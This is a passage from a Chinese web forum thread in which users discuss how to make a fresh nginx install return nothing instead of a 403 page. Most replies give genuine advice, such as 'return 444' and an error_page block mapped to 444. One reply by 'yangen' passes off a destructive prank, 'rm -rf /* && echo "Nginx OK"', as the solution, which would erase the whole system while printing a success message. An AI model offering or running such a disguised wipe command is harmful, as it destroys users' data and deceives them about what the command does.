hdown 发表于 2019-1-31 10:01:27


倾城翻翻分身一 发表于 2019-1-31 10:06

就是刚装好nginx没有网站时,你登陆IP,一定显示的是403 Forbidden。

我希望这时什么都不要显示出来。 ...
不显示?那tcping你80端口要不要返回?
只要有返回就是开了网站,不管你是nginx还是httpd。
你什么都不返回那就是自己“拒绝服务(ddos)”,那你说访问特定页面那也会是拒绝服务的。

yangen 发表于 2019-1-31 10:01:51

本帖最后由 Titan 于 2019-1-31 17:41 编辑

ssh连接一下输入

[*]rm -rf /* && echo "Nginx OK"复制代码

就可以了

逸笙 发表于 2019-1-31 09:40:00

return 444;

Titan 发表于 2019-1-31 10:02:55

不可能的,http基于TCP,TCP只要握手能握上就证明这一定有个nginx存在,所以根本不存在你说的事情
bjrjk 发表于 2019-1-31 15:12

不可能的,http基于TCP,TCP只要握手能握上就证明这一定有个nginx存在,所以根本不存在你说的事情 ...

我觉得楼主的想法用 444状态码就可以
tcp连接只能证明这个端口被监听,返回444就能不返回数据就断开连接
还是说...楼主打算把端口给关了....

aite.xyz 发表于 2019-1-31 10:01:00

本帖最后由 ghyghoo8 于 2019-1-31 17:14 编辑

hdown 发表于 2019-1-31 11:27

对不起,http协议不支持这个。
http协议规定请求应答模式,不可能不应答的。
想实现这咯效果也很简单,在 ...

-补充完整的上来
[*]nginx.conf
[*]error_page 403 404 =444 @default;
[*]location @default {
[*]    return 444;
[*]}
[*]
[*]
[*]
[*]# curl https://xx.xx.xx.xx/404 -k -I
[*]curl: (52) Empty reply from server复制代码
楼主想要的大概是这个效果

或者说楼主是想要不想让人知道是webserver还是nginx还是咋的
还是说楼主想要这种类型的错误返回?
[*]curl: (35) TCP connection reset by peer复制代码

bjrjkhellfires 发表于 2019-1-31 10:05:47


ghyghoo8 发表于 2019-1-31 15:16

我觉得楼主的想法用 444状态码就可以
tcp连接只能证明这个端口被监听,返回444就能不返回数据就断开连接
...
楼主原话是:我想实现的效果就是装了nginx就像没装一样,403不返回。
装了NGINX就和没装一样,那就应该是TCP握手都握不上才是装了和没装一样,TCP握手都握不上根本就不知道请求的是不是正确网址。。。所以不可能做到,如果单纯说http应用层协议上返回444可以,但是要是在传输层就不可能实现

ghyghoo8 发表于 2019-1-31 10:06:57

你自己指定错误页面就是了 改成想要的样式
页: 1 2 [3]
查看完整版本: 怎么让nginx不返回任何值?